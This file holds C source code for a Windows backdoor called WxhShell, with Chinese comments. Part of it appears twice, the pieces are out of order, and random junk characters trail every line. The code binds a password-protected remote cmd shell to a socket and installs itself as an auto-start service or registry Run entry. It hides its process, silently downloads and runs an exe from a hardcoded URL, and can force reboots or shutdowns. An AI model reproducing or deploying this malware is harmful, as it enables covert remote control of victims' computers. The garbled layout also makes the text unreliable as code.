    if(Boot(SHUTDOWN)) 6 ,N6jaW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M%=P)cC  
    else { p/|(,)'+jx  
    closesocket(wsh); 2eok@1  
    ExitThread(0); v@T'7?s.  
    } ]b[,LwB\`~  
    break; rm+v(&  
    } 85>S"%_  
  // 获取shell p$!@I  
  case 's': { B.-A $/  
    CmdShell(wsh); {-*\w-~G  
    closesocket(wsh); W\ULUK  
    ExitThread(0); mf*Nr0L;J  
    break; R40W'N 1%q  
  } b%0BkS*  
  // 退出 (zah890//  
  case 'x': { Uu2N9.5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ha'qIT 3&  
    CloseIt(wsh); 2uu[52H8d%  
    break; -qn[HXq  
    } ~%aJFs  
  // 离开 q]v,  
  case 'q': { #)i&DJ^Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aG3k4  
    closesocket(wsh); f4]&pcK  
    WSACleanup(); U6i~A9;  
    exit(1); +G!v!(Ob+  
    break; ABWb>EZ8  
        } +rQg7a}  
  } URw!7bTz  
  } ZDlu1>Q  
PHkDb/HIx|  
  // 提示信息 ?Y`zg`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A c:\c7M;  
} T <A   
  } ^_w*XV  
@aB9%An1  
  return; }=pOiILvD  
} QV)}3pW  
Gm@iV,F%R  
// shell模块句柄 U+!UL5k  
int CmdShell(SOCKET sock) U2&HSE|2J  
{ T#e4": A&x  
STARTUPINFO si; q}Rlo/R  
ZeroMemory(&si,sizeof(si)); ~|=rwDBZ8l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R"Y?iZed3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jlRS:$|R0  
PROCESS_INFORMATION ProcessInfo; ||gEs/6-  
char cmdline[]="cmd"; <"NyC?b+G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D3]@i&^B  
  return 0; )T<D6l Lt  
} ~"5C${~{  
z qO$  
// 自身启动模式 Lkp&;+  
int StartFromService(void) 0i _  
{ !Pe1o-O  
typedef struct g(aNyn  
{ -}AE\qXs/  
  DWORD ExitStatus; Ku&*`dME  
  DWORD PebBaseAddress; {SHqW5VX  
  DWORD AffinityMask; E.4n}s  
  DWORD BasePriority; <q1'Li)_R  
  ULONG UniqueProcessId; k{qLkcOg=  
  ULONG InheritedFromUniqueProcessId; \ j x0ZHR  
}   PROCESS_BASIC_INFORMATION; [M<{P5q  
(-#rFO5~l  
PROCNTQSIP NtQueryInformationProcess; dd19z%  
Cl-S=q@>V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tbRE/L<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v?%0~!  
Flne=ij6g  
  HANDLE             hProcess; uJm#{[  
  PROCESS_BASIC_INFORMATION pbi; &:C{/QnA  
3P3:F2S R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `L+ ~&M  
  if(NULL == hInst ) return 0; a]{uZGn@i  
\/ X{n*Hw?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1wU=WE(kKZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f^ywW[dF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /H.(d 4C  
 }Olr  
  if (!NtQueryInformationProcess) return 0; Qlf 9]ug)  
SAQs {M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n8 GF8a  
  if(!hProcess) return 0; L;nZ0)@@l  
}^IwQm*i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; f>?^uSpWH  
L F8Pb;I  
  CloseHandle(hProcess); .O;!W<Ef$  
@\S]]oLn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KuU3DTS85Z  
if(hProcess==NULL) return 0; zL6 \p)y  
y`\mQ48V  
HMODULE hMod; }ty"fI3&iY  
char procName[255]; Vx}Yl&*D  
unsigned long cbNeeded; DXt]b,  
(q~R5)D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 5>N6VeM  
P}+2>EU  
  CloseHandle(hProcess); Bmi:2} j  
J& n ^y  
if(strstr(procName,"services")) return 1; // 以服务启动 9$:QLE+t  
-MQZiq7H4  
  return 0; // 注册表启动 B-B?Ff>  
} g"TPII$  
8x!+tw7  
// 主模块 :~WPY9i`  
int StartWxhshell(LPSTR lpCmdLine) ],H1  
{ NW }>pb9  
  SOCKET wsl; #>MO]  
BOOL val=TRUE; h85 (N  
  int port=0; AB/,S  
  struct sockaddr_in door; FGV}5L  
',L{CQA?c  
  if(wscfg.ws_autoins) Install(); C+X)">/+L  
7=$+k]U8  
port=atoi(lpCmdLine); XhQw+j~1.  
z"G`o"4 V  
if(port<=0) port=wscfg.ws_port; NvEm,E\|  
}C_G0'"F  
  WSADATA data; }R7sj  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \.K\YAM<  
Wg}B@:`T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =}B4I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P@^z:RS*{  
  door.sin_family = AF_INET; ~uP r]#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2U=/<3;u  
  door.sin_port = htons(port); ^#<: <X6  
<K=@-4/Bp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Eqz4{\   
closesocket(wsl); ?|%\<h@;  
return 1; TBoM{s=.  
} <`oCz Q1  
ORV}j, Ym  
  if(listen(wsl,2) == INVALID_SOCKET) { V%X:1 8j  
closesocket(wsl); c^i"}2+  
return 1; 3bT6W, J4T  
} [[";1l  
  Wxhshell(wsl); OqEg{o5 a&  
  WSACleanup(); {^PO3I  
2LhfXBWf  
return 0; pDLu+ }@  
c n\k`8  
} f_Wkg)g  
+YGw4{\EL  
// 以NT服务方式启动 _A@fP[C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zhVa.r A  
{ Ov0O#`  
DWORD   status = 0; : ;E7+m  
  DWORD   specificError = 0xfffffff; 3i@ "D  
 ~ LJ>WA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o(Ua",|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2<46jJYL'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >!HfH(is\  
  serviceStatus.dwWin32ExitCode     = 0; 3s+<    
  serviceStatus.dwServiceSpecificExitCode = 0; _IQU<Za  
  serviceStatus.dwCheckPoint       = 0; fPh}l  
  serviceStatus.dwWaitHint       = 0; F20wf1^  
vF*^xhh  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0?J|C6XM#4  
  if (hServiceStatusHandle==0) return; EI?d(K  
X/- W8  
status = GetLastError(); fD3jwPL  
  if (status!=NO_ERROR) ,ZzB#\  
{ )vEHLp.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a>&;K@  
    serviceStatus.dwCheckPoint       = 0; uQ)JC 7b\  
    serviceStatus.dwWaitHint       = 0; []2$rJZD9  
    serviceStatus.dwWin32ExitCode     = status; l0:e=q2Ax  
    serviceStatus.dwServiceSpecificExitCode = specificError; EPE!V>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E3FW*UNg[y  
    return; [9db=$v8$  
  } ';;p8bv+  
XEvGhy#  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <WQ<<s@#pb  
  serviceStatus.dwCheckPoint       = 0; avHD'zU}N  
  serviceStatus.dwWaitHint       = 0; 2yEO=SN,(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vid{6?7kh  
} y(bt56 | z  
/el["l  
// 处理NT服务事件,比如:启动、停止 6)uPM"cO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }rj C_q  
{ #x4h_K Y  
switch(fdwControl) ?[hy|r6$  
{ 2 0Cie q  
case SERVICE_CONTROL_STOP: (T%F!2i([U  
  serviceStatus.dwWin32ExitCode = 0; !TV_dKa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^.Ih,@N6  
  serviceStatus.dwCheckPoint   = 0; sT[av  
  serviceStatus.dwWaitHint     = 0; -$L],q_S^  
  { |5<& r]xN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =x='<{jtgW  
  } y'0dl "Dy\  
  return; !ho5VA t  
case SERVICE_CONTROL_PAUSE: |&0"N[t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .%J?T5D  
  break; St~SiTJU  
case SERVICE_CONTROL_CONTINUE: T~wZ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Dh!iY0Lz  
  break; k+7M|t.?4  
case SERVICE_CONTROL_INTERROGATE: R$T[%AGZ.  
  break; &k_wqV  
}; PcNf TB{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r:WgjjA%  
} R[>;_}5">  
-hU>1ux&V  
// 标准应用程序主函数 {l*&l2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?sjZ13 SUa  
{ :cmI"Bo  
aCYm$6LmA  
// 获取操作系统版本 w ~L\Ebg  
OsIsNt=GetOsVer(); }`<>$2b  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >XXMIz:  
qj3bt_F!x  
  // 从命令行安装 lEYT{  
  if(strpbrk(lpCmdLine,"iI")) Install(); <<W.x)#:  
MWn L#!  
  // 下载执行文件 mSk :7ozZ  
if(wscfg.ws_downexe) { v]`A_)[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) aG8D%i0  
  WinExec(wscfg.ws_filenam,SW_HIDE); q563,s  
} ?2;n=&ZM  
g~^{-6Vg  
if(!OsIsNt) { xvx\H'  
// 如果时win9x,隐藏进程并且设置为注册表启动 eMm~7\ R  
HideProc(); U$/Hp#~X  
StartWxhshell(lpCmdLine); +2au ;^N  
} Hh/ -^G  
else AHMV@o`V  
  if(StartFromService()) V M\Z<}C  
  // 以服务方式启动 LL$,<q%(P  
  StartServiceCtrlDispatcher(DispatchTable); PgG |7='  
else [b k&Nd[  
  // 普通方式启动 B0oY]r6  
  StartWxhshell(lpCmdLine); s68_o[[E  
n?P 5pJ  
return 0; $?/Xk%d+  
} @)2V"FE4i  
@R OY}CZ{/  
ev: !,}]w  
,~j$rs`Z  
=========================================== Q~w G(0'8  
-o!,,XYj .  
A_(+r  
_E&vE5<-$  
Am0.c0h  
"! 6 B5Oz  
" @Z=|$*9  
i!d7,>l+Q~  
#include <stdio.h> @Y&9S)xcE  
#include <string.h> pv m'pu78  
#include <windows.h> aWsKJo>j[#  
#include <winsock2.h> X+gz+V/  
#include <winsvc.h>  4Jk}/_  
#include <urlmon.h> oCdOC5  
_ !^FW%  
#pragma comment (lib, "Ws2_32.lib") DCt:EhC  
#pragma comment (lib, "urlmon.lib")  > ^v8N  
u$%#5_k  
#define MAX_USER   100 // 最大客户端连接数 [A..<[  
#define BUF_SOCK   200 // sock buffer |phWK^   
#define KEY_BUFF   255 // 输入 buffer (Y.$wMB  
uQ%HLL-W/  
#define REBOOT     0   // 重启 P7x?!71?L  
#define SHUTDOWN   1   // 关机 GY$?^&OO>  
'y M:W cN  
#define DEF_PORT   5000 // 监听端口 ;~Gpw/]5E  
zs&`:  
#define REG_LEN     16   // 注册表键长度 rLw[y$2  
#define SVC_LEN     80   // NT服务名长度 FTYLMQ i  
4 TQISu)  
// 从dll定义API 4tTZkJc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); q'V{vFfY%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ot+~|Dl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *1)NABp6D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qQ DFg`  
wIR[2&b  
// wxhshell配置信息 13&>w{S}  
struct WSCFG { K<L%@[gi  
  int ws_port;         // 监听端口 ^$Io;*N4  
  char ws_passstr[REG_LEN]; // 口令 e$^!~+J7  
  int ws_autoins;       // 安装标记, 1=yes 0=no y0&HXX#\  
  char ws_regname[REG_LEN]; // 注册表键名 ] xLb )Z  
  char ws_svcname[REG_LEN]; // 服务名 >scS wT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F+$@3[Q`N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @[b:([  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ty< tv|p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lPN< rgg  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T17LYHIT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6-X?uaY)os  
hYZ:" x  
}; :kx#];2i  
4b(irDT3F  
// default Wxhshell configuration 4p.{G%h  
struct WSCFG wscfg={DEF_PORT, zT-"kK  
    "xuhuanlingzhe", Okg8Ve2  
    1, Y 6Qb_X:  
    "Wxhshell", VUv.Tx]Z[  
    "Wxhshell", K9M.+d4  
            "WxhShell Service", .@3u3i64'  
    "Wrsky Windows CmdShell Service", !BikF4Y1L&  
    "Please Input Your Password: ", ?.A/E?Oc  
  1, 'MQGR@*  
  "http://www.wrsky.com/wxhshell.exe", GK+\-U)v  
  "Wxhshell.exe" z%dlajY m:  
    }; U?^|>cMr  
P_g0G#`4  
// 消息定义模块 |ShRxE3@'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  ;yER V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RHAr[$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XXwhs-:o  
char *msg_ws_ext="\n\rExit."; q vVZA*  
char *msg_ws_end="\n\rQuit."; z+D,:!yF  
char *msg_ws_boot="\n\rReboot..."; 5'-9?-S"  
char *msg_ws_poff="\n\rShutdown..."; I2lZ>3X{  
char *msg_ws_down="\n\rSave to "; P~ZV:Of  
h%^kA@3F  
char *msg_ws_err="\n\rErr!"; Lpbn@y26<  
char *msg_ws_ok="\n\rOK!"; R Mt vEa  
)Q j9kJq  
char ExeFile[MAX_PATH]; Q0; gF?  
int nUser = 0; 4$2T zJE  
HANDLE handles[MAX_USER]; 99>yaW  
int OsIsNt; coVT+we  
M)pi)$&c  
SERVICE_STATUS       serviceStatus; 2_\|>g|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %` [`I>  
_w/N[E  
// 函数声明 `LU,uz  
int Install(void); uv!qE1z@':  
int Uninstall(void); ~S>ba']  
int DownloadFile(char *sURL, SOCKET wsh); ![!b^:f  
int Boot(int flag); #R PB;#{  
void HideProc(void); L0VR(  
int GetOsVer(void); ?HyioLO  
int Wxhshell(SOCKET wsl); e CUcE(  
void TalkWithClient(void *cs); "#k(V=y  
int CmdShell(SOCKET sock); &8i{'k,l  
int StartFromService(void); 9qy 9  
int StartWxhshell(LPSTR lpCmdLine); }o:sx/=u_  
`oWjq6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n4&j<zAV{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ']Xx#U N  
(g:W|hS  
// 数据结构和表定义 <\~#\A=;  
SERVICE_TABLE_ENTRY DispatchTable[] = ;H r@0f  
{ OjEA;;qq  
{wscfg.ws_svcname, NTServiceMain}, @VS5Mg8  
{NULL, NULL} knzED~ v@(  
}; 7 =*k@9  
K$GXXE`  
// 自我安装 J+gsmP-_  
int Install(void) 3&Rqz9W  
{ RX\O'Zwlj  
  char svExeFile[MAX_PATH]; @N{Ht)1r  
  HKEY key; |+~2sbM  
  strcpy(svExeFile,ExeFile); F_ Cz  
kj=2+)!E7  
// 如果是win9x系统,修改注册表设为自启动 jt r=8OiL  
if(!OsIsNt) { "FIx^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  Ph{+uI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $rYu4^  
  RegCloseKey(key); m8^2k2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H=RV M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &D w~Jq|  
  RegCloseKey(key); ]~Qkg+>'&  
  return 0; /iuNdh  
    } )9Ojvp=#r:  
  } :uDB3jN[  
} N,Bs% p#1  
else { s9bP6N!,  
)II,HT-LY  
// 如果是NT以上系统,安装为系统服务 *)D*iU&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kP@OIhRe  
if (schSCManager!=0) 8|Y^Jn\p5u  
{ W3rvKqdw5  
  SC_HANDLE schService = CreateService S IK{GWX  
  ( M=`Se&-M  
  schSCManager, S$On$]~\"  
  wscfg.ws_svcname, 2`m_"y  
  wscfg.ws_svcdisp, @il}0  
  SERVICE_ALL_ACCESS, CWYJ<27v{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B[X6A Qj}d  
  SERVICE_AUTO_START, to=##&ld<  
  SERVICE_ERROR_NORMAL, i}"JCqo2  
  svExeFile, yuX 0Y{:I  
  NULL, DP]|}8~L  
  NULL, n7uD(cL  
  NULL, W)hby`k  
  NULL, Sd6^%YB  
  NULL [KJL%u|8/  
  ); :C6r N}_k  
  if (schService!=0) rNC3h"i\  
  { ra2q. H  
  CloseServiceHandle(schService); )ixE  
  CloseServiceHandle(schSCManager); Nq6CvDXi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7~f6j:{|z  
  strcat(svExeFile,wscfg.ws_svcname); M0 8Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { oU?X"B9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W^Y(FUy~  
  RegCloseKey(key); W%cPX0  
  return 0; b7j#a#  
    } lGhUfhk  
  } 9Wrcl ai  
  CloseServiceHandle(schSCManager); 9 <m j@bI$  
} GqxK|G1  
} b;l%1x9r  
x=N;>  
return 1; @R{&>Q:.  
} cEu98nP  
cfS]C_6d  
// 自我卸载 ^dD?riFAk  
int Uninstall(void) fZgU@!z  
{  \RO Sd  
  HKEY key; 9 `&D  
+JG"eh&J"H  
if(!OsIsNt) { ^%JWc 3jZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tH(#nx8  
  RegDeleteValue(key,wscfg.ws_regname); ,-kZ5&r  
  RegCloseKey(key); i(HhL&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^O m]B;  
  RegDeleteValue(key,wscfg.ws_regname); ek!N eu>  
  RegCloseKey(key); E5Jk+6EcMa  
  return 0; Y))sk-  
  } vq:j?7  
} 6si-IJ  
} 1j,Y  
else { p\\q[6  
pE,BE%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PX)qA =4q  
if (schSCManager!=0) _P1-d`b0 a  
{ ApB0)N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Cx~z^YP'  
  if (schService!=0) 8t!"K_Mkx  
  { #u@!O%MJ  
  if(DeleteService(schService)!=0) { Rby7X*.-v  
  CloseServiceHandle(schService); PQr N";+  
  CloseServiceHandle(schSCManager); cgOoQP/#  
  return 0; K? k`U,  
  } FG\?_G  
  CloseServiceHandle(schService); +%v4Ci"%y  
  } ;7>--_?=  
  CloseServiceHandle(schSCManager); S(l^TF  
} WcFZRy-erc  
} \-yi#N  
6I0MJpLW  
return 1; (eP)>G]  
} t:7jlD!d  
e>.xXg6Zn  
// 从指定url下载文件 5H5Kt9DoW  
int DownloadFile(char *sURL, SOCKET wsh) s2WB4U k  
{ ps{(UYM=b  
  HRESULT hr; qcF{Kex"  
char seps[]= "/"; GkFNLM5'  
char *token; V-3]h ba,  
char *file; z16++LKmM  
char myURL[MAX_PATH]; ',pPs=  
char myFILE[MAX_PATH]; [&:oS35O  
< n{9pZ5.  
strcpy(myURL,sURL); l ,.;dw  
  token=strtok(myURL,seps); XjbK!.  
  while(token!=NULL) w?q"%F;/  
  { PYe>`X?  
    file=token; f9$q.a*  
  token=strtok(NULL,seps); IYPLitT  
  } w=$_',5#Z  
RI=B(0 A  
GetCurrentDirectory(MAX_PATH,myFILE); /xzL!~g`6<  
strcat(myFILE, "\\"); &#l M$7/  
strcat(myFILE, file); l-rnDl  
  send(wsh,myFILE,strlen(myFILE),0); Jo0x/+?,+  
send(wsh,"...",3,0); @ 2_&ti  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w[&BY  
  if(hr==S_OK) -=w.tJD  
return 0; x&d<IU)5  
else JiR|+6"7  
return 1; l?;S>s*\?  
5Fl|=G+3@g  
} :.,I4>b2  
ghl9gFFj  
// 系统电源模块 .^23qCs  
int Boot(int flag) AdNsY/Y(  
{ B|&<  
  HANDLE hToken; pifgt  
  TOKEN_PRIVILEGES tkp; QZfnoKz  
h! <8=V(  
  if(OsIsNt) { q'q{M-U<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5cU8GgN`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g2I@j3  
    tkp.PrivilegeCount = 1; r[x7?cXsW  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .z"[z^/uF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7^F?key?  
if(flag==REBOOT) { /<@tbZJ*8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 92i# It}-/  
  return 0; >/*\x g&J  
} __M}50^  
else { w'!gLta  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [g? NU]  
  return 0; z,tax`O  
} _!C H  
  } RjT[y: !  
  else { a/ZfPl0Ns[  
if(flag==REBOOT) { '};Xb|msU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g;pFT  
  return 0; -vyC,A  
} I zT%Kq  
else { k8TMdWW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q%a4g  
  return 0; yWuq/J:  
} s5.2gu|"%  
} QS_u<B  
\3l;PY  
return 1; waC%o%fD  
} VYBl0!t  
cmTZ))m  
// win9x进程隐藏模块 epnDvz\   
void HideProc(void) O  tr@jgw  
{ ]q j%6tz  
<Wd$6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }\W3a_,v)  
  if ( hKernel != NULL ) 7>nA;F 8_  
  { !q X 7   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "elh~K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vv u((b  
    FreeLibrary(hKernel); Q7C'O @  
  } &Wba2fD  
D|xSO~M5  
return; U;(&!Ei  
} G`pI{_-e  
EQ28pAZ  
// 获取操作系统版本 QMIXz[9w  
int GetOsVer(void) eg3{sDv,  
{ | 8AH_Fk  
  OSVERSIONINFO winfo; AA66^/t  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p7*\]HyE)  
  GetVersionEx(&winfo); &"BKue~q@p  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,FTF@h-Cs  
  return 1; */1z=  
  else &~j"3G;e  
  return 0; m*'#`vIbb  
} +RbCa c  
aU3&=aN+  
// 客户端句柄模块 M1^pW 63  
int Wxhshell(SOCKET wsl) qAm%h\  
{ (HTVSC%=  
  SOCKET wsh; c[5>kQ-nq  
  struct sockaddr_in client; vF_?1|*|  
  DWORD myID; Po2YDj`  
|peZ`O^ ~  
  while(nUser<MAX_USER) u@o3p*bQ  
{ ,Zdc  
  int nSize=sizeof(client); t~Uqsa>n@'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +h =lAHn&  
  if(wsh==INVALID_SOCKET) return 1; {DpZg",H-  
i_MDLS>-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); NmeTp?)m  
if(handles[nUser]==0) A >x{\  
  closesocket(wsh); }, ]W/  
else AIE)q]'Q  
  nUser++; QoqdPk#1  
  } a`T{ 5*@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0q/g:"|j  
,xGlWH wrY  
  return 0; P6X 4m(t  
} .G^ .kg ,  
s~GO-v7  
// 关闭 socket 0c]Lm?&  
void CloseIt(SOCKET wsh) U $+rlw}  
{ !_]WUQvV?  
closesocket(wsh); O9opX\9  
nUser--; _h5@3>b3r  
ExitThread(0); 5!AzEB  
} i$ Zhk1  
/_LUys/0  
// 客户端请求句柄 ~2pctqMA  
void TalkWithClient(void *cs) >iq^Ts  
{ RY*6TYX!  
I3SLR  
  SOCKET wsh=(SOCKET)cs; u~G,=n  
  char pwd[SVC_LEN]; ZJ!/49c*>  
  char cmd[KEY_BUFF]; ^UJO(   
char chr[1]; r:u5+A  
int i,j; JK_sl>v.7  
zRB1V99k  
  while (nUser < MAX_USER) { /$B<+;L!#  
g6N{Z e Wg  
if(wscfg.ws_passstr) { w7O(I"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D[U5SS!)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;'nu9FU*O  
  //ZeroMemory(pwd,KEY_BUFF); ?bbguwo~F  
      i=0; IH{g-#U  
  while(i<SVC_LEN) { gllXJM^ -  
= uOFaZ4  
  // 设置超时 0`_Gj{:L  
  fd_set FdRead; 75{QBlf<  
  struct timeval TimeOut; W$,c]/u|  
  FD_ZERO(&FdRead); [/#;u*n  
  FD_SET(wsh,&FdRead); )(,+o  
  TimeOut.tv_sec=8; Pj+XKDV]T  
  TimeOut.tv_usec=0; lGs fs(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %[RLc[pB  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pTcm2-J  
/\2s%b*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ij}|k%*  
  pwd=chr[0]; nE,"3X"   
  if(chr[0]==0xd || chr[0]==0xa) { _w(SHWh2  
  pwd=0; (zUERw\a X  
  break; YT#" HYO  
  } [_${N,1  
  i++; r] 2}S=[  
    } st pa2z  
W<kJ%42^j  
  // 如果是非法用户,关闭 socket Al 0zL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3pm;?6i6  
} " >;},$  
i5|!M IY  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1J^{h5?lU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pnDD9u-4;  
7ej"q  
while(1) { 2T iUo(MK  
3TO$J  
  ZeroMemory(cmd,KEY_BUFF); !x|Ok'izDL  
*y7^4I-J  
      // 自动支持客户端 telnet标准   h@l5MH=|%  
  j=0; ]Y:|%rvVH  
  while(j<KEY_BUFF) { Haiuf)a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #m|AQr|  
  cmd[j]=chr[0]; 6f0 WN  
  if(chr[0]==0xa || chr[0]==0xd) { Q;SMwCB0M  
  cmd[j]=0; HJM-;C](  
  break; ]*Zg(YA  
  } jF{zcYU  
  j++; ,D>$N3;  
    } jFnq{L t  
9V("K  
  // 下载文件 A{Pp`*l  
  if(strstr(cmd,"http://")) { $5|/X&"O)/  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >OmY  
  if(DownloadFile(cmd,wsh)) T[L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =p:D_b  
  else  >Xh 9{/o  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :*#I1nb$  
  } MHk\y2`/;  
  else { oj[Wzeg%  
a";(C ,:0  
    switch(cmd[0]) { ma vc$!y  
  4Rp2  
  // 帮助 [{- Oy#T<  
  case '?': { }n oI2.-#  
